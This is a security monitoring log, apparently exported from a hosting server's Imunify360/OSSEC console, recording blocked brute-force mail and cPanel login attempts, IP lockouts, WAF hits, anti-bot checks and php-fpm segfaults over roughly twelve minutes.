2026-07-01 00:30:38 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:63174: 535 Incorrect authentication data (set_id=pc18@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-01 00:30:07 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:61352: 535 Incorrect authentication data (set_id=oa@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jul  1 00:30:12 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-01 00:30:14 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:25742: 535 Incorrect authentication data (set_id=ecruz@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  1 00:30:35 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jul  1 00:30:05 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-01 00:31:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:2196: 535 Incorrect authentication data (set_id=spectro@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jul  1 00:31:11 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jul  1 00:31:19 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-01 00:31:21 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:29266: 535 Incorrect authentication data (set_id=ab@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  1 00:31:25 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-01 00:31:03 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:37922: 535 Incorrect authentication data (set_id=testfax@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-01 00:31:13 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:2314: 535 Incorrect authentication data (set_id=student2@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jul  1 00:31:01 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  1 00:32:14 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-01 00:32:16 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:15078: 535 Incorrect authentication data (set_id=tambov@ns5.netmaster.tg)


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 00:32:16 ns5 kernel: php-fpm[2101621]: segfault at 7fff3ce1ff50 ip 0000000000729c3b sp 00007fff3ce1ff40 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-01 00:32:00 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:14504: 535 Incorrect authentication data (set_id=binary@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jul  1 00:32:09 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-01 00:32:11 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:50376: 535 Incorrect authentication data (set_id=matsui@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jul  1 00:32:13 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-01 00:32:17 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:5870: 535 Incorrect authentication data (set_id=matsui@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jul  1 00:32:18 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-01 00:32:15 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:43456: 535 Incorrect authentication data (set_id=zoo@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jul  1 00:33:09 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 167.99.236.81
country_id: 6252001
description:
[2026-07-01 00:33:37 +0000] info [cpaneld] 167.99.236.81 - e.carine "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user e.carine (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-01 00:33:16 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:35164: 535 Incorrect authentication data (set_id=edb@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  1 00:33:05 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jul  1 00:33:14 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 45.145.131.143
country_id: 294640
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:45.145.131.143||TA:45.145.131.143||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jul  1 00:33:01 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-01 00:33:03 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:46908: 535 Incorrect authentication data (set_id=users@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-01 00:33:07 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:18540: 535 Incorrect authentication data (set_id=viewer@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-01 00:33:11 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:20090: 535 Incorrect authentication data (set_id=pv@ns5.netmaster.tg)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.175.209
country_id: 1880251
description:
43.173.175.209 - - [01/Jul/2026:00:33:47 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6342550&pdata=https%253A%252F%252Fmediatopnews.tg%252F%253Fp%253D412&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782866024 HTTP/1.1" 404 561 mediatopnews.tg "https://mediatopnews.tg/?p=412" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.175.209


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 00:34:26 ns5 kernel: php-fpm[2103509]: segfault at 7fff3ce1ff50 ip 0000000000729c3b sp 00007fff3ce1ff40 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jul  1 00:34:26 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-01 00:34:28 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:44334: 535 Incorrect authentication data (set_id=kazakevich@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  1 00:34:01 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-01 00:34:10 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:61216: 535 Incorrect authentication data (set_id=session@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-01 00:34:13 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:11616: 535 Incorrect authentication data (set_id=napoleon@ns5.netmaster.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 167.99.236.81
country_id: 6252001
description:
[2026-07-01 00:34:24 +0000] info [cpaneld] 167.99.236.81 - admin@togocarrierebetons.com "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-01 00:34:03 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:15772: 535 Incorrect authentication data (set_id=sweety@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jul  1 00:34:08 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jul  1 00:34:11 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-01 00:35:34 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:10796: 535 Incorrect authentication data (set_id=orawan@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-01 00:35:41 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:32082: 535 Incorrect authentication data (set_id=labor@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jul  1 00:35:07 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-01 00:35:09 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:52604: 535 Incorrect authentication data (set_id=megumi@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jul  1 00:35:08 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-01 00:35:10 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:37866: 535 Incorrect authentication data (set_id=tttt@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jul  1 00:35:14 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-01 00:35:16 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:20776: 535 Incorrect authentication data (set_id=ntv@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  1 00:35:32 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-01 00:36:06 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:14480: 535 Incorrect authentication data (set_id=faxin@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jul  1 00:36:04 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-01 00:36:23 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:51182: 535 Incorrect authentication data (set_id=labor@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jul  1 00:36:01 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jul  1 00:36:04 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-01 00:36:05 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:29064: 535 Incorrect authentication data (set_id=daniela@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  1 00:36:21 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-01 00:36:04 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:17236: 535 Incorrect authentication data (set_id=chicken@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jul  1 00:37:33 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jul  1 00:37:02 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  1 00:37:09 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jul  1 00:37:02 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-01 00:37:04 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:52802: 535 Incorrect authentication data (set_id=aissec@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-01 00:37:35 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:14678: 535 Incorrect authentication data (set_id=compliance@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-01 00:37:04 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:55654: 535 Incorrect authentication data (set_id=emu@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-01 00:37:11 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:27174: 535 Incorrect authentication data (set_id=rafal@ns5.netmaster.tg)


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 00:38:24 ns5 kernel: php-fpm[2106435]: segfault at 7fff3ce1ff50 ip 0000000000729c3b sp 00007fff3ce1ff40 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  1 00:38:00 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-01 00:38:00 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:29326: 535 Incorrect authentication data (set_id=pranab@ns5.netmaster.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.81.152.116
country_id: 1880251
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/corpsdiplomaticnews.tg/wp-content/uploads/2023/08/D9.jpg HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-01 00:38:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:55698: 535 Incorrect authentication data (set_id=translate@ns5.netmaster.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 20.212.169.175
country_id: 1880251
description:
[2026-07-01 00:38:42 +0000] info [cpaneld] 20.212.169.175 - Turbolte "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user Turbolte (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-01 00:38:01 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:3054: 535 Incorrect authentication data (set_id=smtp@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jul  1 00:38:39 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-01 00:38:01 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:32238: 535 Incorrect authentication data (set_id=fhg@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jul  1 00:37:59 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jul  1 00:38:18 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 23.129.64.173
country_id: 6252001
description:
Jul  1 00:39:03 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 23.129.64.173 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jul  1 00:39:06 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 23.129.64.173
country_id: 6252001
description:
2026-07-01 00:39:05 dovecot_plain authenticator failed for H=(9zh8n9qwq73lrmjpw4wl3qg0v5) [23.129.64.173]:28197: 535 Incorrect authentication data (set_id=contact@dany2.mairie.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-01 00:39:08 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:32222: 535 Incorrect authentication data (set_id=priyanka@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-01 00:39:16 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:52230: 535 Incorrect authentication data (set_id=priyanka@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  1 00:39:38 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-01 00:39:39 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:19848: 535 Incorrect authentication data (set_id=inline@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-01 00:39:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:1032: 535 Incorrect authentication data (set_id=nguyet@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-01 00:39:40 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:56388: 535 Incorrect authentication data (set_id=assassin@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-01 00:40:03 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:28740: 535 Incorrect authentication data (set_id=amr@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-01 00:40:36 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:60924: 535 Incorrect authentication data (set_id=\330\243\330\250\331\210\331\204\331\210@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-01 00:40:23 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:42114: 535 Incorrect authentication data (set_id=facturacion@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  1 00:40:28 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-01 00:40:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:32364: 535 Incorrect authentication data (set_id=passbolt@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  1 00:41:18 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-01 00:41:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:18672: 535 Incorrect authentication data (set_id=gen@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-01 00:41:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:26278: 535 Incorrect authentication data (set_id=academy@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-01 00:41:03 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:23442: 535 Incorrect authentication data (set_id=\330\243\330\250\331\210\331\204\331\210@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-01 00:41:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:35850: 535 Incorrect authentication data (set_id=siva@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-01 00:42:10 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:11704: 535 Incorrect authentication data (set_id=lego2@ns5.netmaster.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 212.237.119.217
country_id: 99237
description:
212.237.119.217 - - [01/Jul/2026:00:42:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10066588&pdata=https%253A%252F%252Fmacite.tg%252Fafrica-newsroom%252F%253Flang%253Dfr%2526pr%253D374119%2526q%253Datelier-sur-le-cadre-dorientation-curriculaire-a-cotonou--vers-une-feuille-de-route-commune-pour-lecole-beninoise&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782866528 HTTP/2.0" 302 0 macite.tg "https://macite.tg/africa-newsroom/?lang=fr&pr=374119&q=atelier-sur-le-cadre-dorientation-curriculaire-a-cotonou--vers-une-feuille-de-route-commune-pour-lecole-beninoise" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2722.1526 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.237.119.217


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-01 00:42:15 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:22730: 535 Incorrect authentication data (set_id=avin@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-01 00:42:35 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:14080: 535 Incorrect authentication data (set_id=terrance@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-01 00:42:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:59692: 535 Incorrect authentication data (set_id=jn@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  1 00:42:08 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
